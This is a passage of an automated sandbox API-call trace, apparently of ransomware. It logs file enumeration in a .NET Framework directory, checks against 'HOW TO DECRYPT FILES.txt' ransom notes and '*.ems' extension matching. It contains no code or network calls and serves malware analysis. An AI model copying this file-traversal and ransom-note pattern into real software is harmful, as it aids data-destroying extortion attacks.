ftLastAccessTime.dwLowDateTime=0x86a121a6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86a121a6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="RegSvcs.exe", cAlternateFileName="")) returned 1 [0135.742] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.742] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RegSvcs.exe") returned -1 [0135.742] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RegSvcs.exe") returned -1 [0135.742] lstrcmpiA (lpString1="", lpString2="RegSvcs.exe") returned -1 [0135.742] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\regasm.exe.config") returned="regasm.exe.config" [0135.742] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.742] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.742] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.742] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.742] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="RegSvcs.exe" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegSvcs.exe") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegSvcs.exe" [0135.742] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegSvcs.exe", pszSpec="*.ems") returned 0 [0135.743] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda8d1243, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xda8d1243, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xab3d9b9c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0xb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="regsvcs.exe.config", cAlternateFileName="REGSVC~1.CON")) returned 1 [0135.743] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.743] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="regsvcs.exe.config") returned -1 [0135.743] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="regsvcs.exe.config") returned -1 [0135.743] lstrcmpiA (lpString1="", lpString2="regsvcs.exe.config") returned -1 [0135.743] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegSvcs.exe") returned="RegSvcs.exe" [0135.743] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.743] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.743] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.743] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.743] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="regsvcs.exe.config" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\regsvcs.exe.config") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\regsvcs.exe.config" [0135.743] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\regsvcs.exe.config", pszSpec="*.ems") returned 0 [0135.743] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ac6a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ac6a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0xab6d371c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x3550, dwReserved0=0x0, dwReserved1=0x0, cFileName="sbscmp20_mscorlib.dll", cAlternateFileName="")) returned 1 [0135.743] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.743] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="sbscmp20_mscorlib.dll") returned -1 [0135.744] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="sbscmp20_mscorlib.dll") returned -1 [0135.744] lstrcmpiA (lpString1="", lpString2="sbscmp20_mscorlib.dll") returned -1 [0135.744] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\regsvcs.exe.config") returned="regsvcs.exe.config" [0135.744] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.744] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.744] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.744] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.744] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="sbscmp20_mscorlib.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sbscmp20_mscorlib.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sbscmp20_mscorlib.dll" [0135.744] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sbscmp20_mscorlib.dll", pszSpec="*.ems") returned 0 [0135.744] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x730dc9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x730dc9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0xab76bc9c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x18c7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="shfusion.chm", cAlternateFileName="")) returned 1 [0135.744] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.744] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="shfusion.chm") returned -1 [0135.745] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="shfusion.chm") returned -1 [0135.745] lstrcmpiA (lpString1="", lpString2="shfusion.chm") returned -1 [0135.745] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sbscmp20_mscorlib.dll") returned="sbscmp20_mscorlib.dll" [0135.745] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.745] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.745] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.745] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.745] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="shfusion.chm" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\shfusion.chm") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\shfusion.chm" [0135.745] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\shfusion.chm", pszSpec="*.ems") returned 0 [0135.745] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f8be94d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f8be94d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f8be94d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c350, dwReserved0=0x0, dwReserved1=0x0, cFileName="shfusion.dll", cAlternateFileName="")) returned 1 [0135.745] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.745] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="shfusion.dll") returned -1 [0135.745] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="shfusion.dll") returned -1 [0135.746] lstrcmpiA (lpString1="", lpString2="shfusion.dll") returned -1 [0135.746] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\shfusion.chm") returned="shfusion.chm" [0135.746] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.746] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.746] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.746] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.746] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="shfusion.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\shfusion.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\shfusion.dll" [0135.746] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\shfusion.dll", pszSpec="*.ems") returned 0 [0135.746] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9460fb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x9460fb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0xab89c79c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x16750, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShFusRes.dll", cAlternateFileName="")) returned 1 [0135.746] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.746] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ShFusRes.dll") returned -1 [0135.746] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ShFusRes.dll") returned -1 [0135.746] lstrcmpiA (lpString1="", lpString2="ShFusRes.dll") returned -1 [0135.746] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\shfusion.dll") returned="shfusion.dll" [0135.746] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.747] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.747] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.747] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.747] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="ShFusRes.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ShFusRes.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ShFusRes.dll" [0135.747] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ShFusRes.dll", pszSpec="*.ems") returned 0 [0135.747] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b8518, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x9b8518, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0xab90ebbc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x40004, dwReserved0=0x0, dwReserved1=0x0, cFileName="sortkey.nlp", cAlternateFileName="")) returned 1 [0135.747] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.747] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="sortkey.nlp") returned -1 [0135.747] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="sortkey.nlp") returned -1 [0135.747] lstrcmpiA (lpString1="", lpString2="sortkey.nlp") returned -1 [0135.747] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ShFusRes.dll") returned="ShFusRes.dll" [0135.747] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.747] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.747] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.748] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.748] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="sortkey.nlp" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sortkey.nlp") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sortkey.nlp" [0135.748] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sortkey.nlp", pszSpec="*.ems") returned 0 [0135.748] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa047d6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0xa047d6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0xab934d1c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x4f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="sorttbls.nlp", cAlternateFileName="")) returned 1 [0135.748] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.748] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="sorttbls.nlp") returned -1 [0135.748] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="sorttbls.nlp") returned -1 [0135.748] lstrcmpiA (lpString1="", lpString2="sorttbls.nlp") returned -1 [0135.748] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sortkey.nlp") returned="sortkey.nlp" [0135.748] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.748] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.748] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.748] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.749] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="sorttbls.nlp" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sorttbls.nlp") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sorttbls.nlp" [0135.749] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sorttbls.nlp", pszSpec="*.ems") returned 0 [0135.749] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94074091, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x94074091, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9409a1f1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5ef48, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOS.dll", cAlternateFileName="")) returned 1 [0135.749] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.749] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SOS.dll") returned -1 [0135.749] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SOS.dll") returned -1 [0135.749] lstrcmpiA (lpString1="", lpString2="SOS.dll") returned -1 [0135.749] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sorttbls.nlp") returned="sorttbls.nlp" [0135.749] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.749] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.749] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.749] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.749] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="SOS.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SOS.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SOS.dll" [0135.750] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SOS.dll", pszSpec="*.ems") returned 0 [0135.750] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81188d30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81188d30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SubsetList", cAlternateFileName="SUBSET~1")) returned 1 [0135.750] lstrcmpA (lpString1=".", lpString2="SubsetList") returned -1 [0135.750] lstrcmpA (lpString1="..", lpString2="SubsetList") returned -1 [0135.750] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SOS.dll") returned="SOS.dll" [0135.750] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="SubsetList" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList" [0135.750] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81188d30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81188d30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501574, cFileName=".", cAlternateFileName="")) returned 0x502518 [0135.751] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0135.751] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81188d30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81188d30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0135.751] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0135.751] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0135.751] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5885a7a5, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x5885a7a5, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x7b04a05c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x1219, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Client.xml", cAlternateFileName="")) returned 1 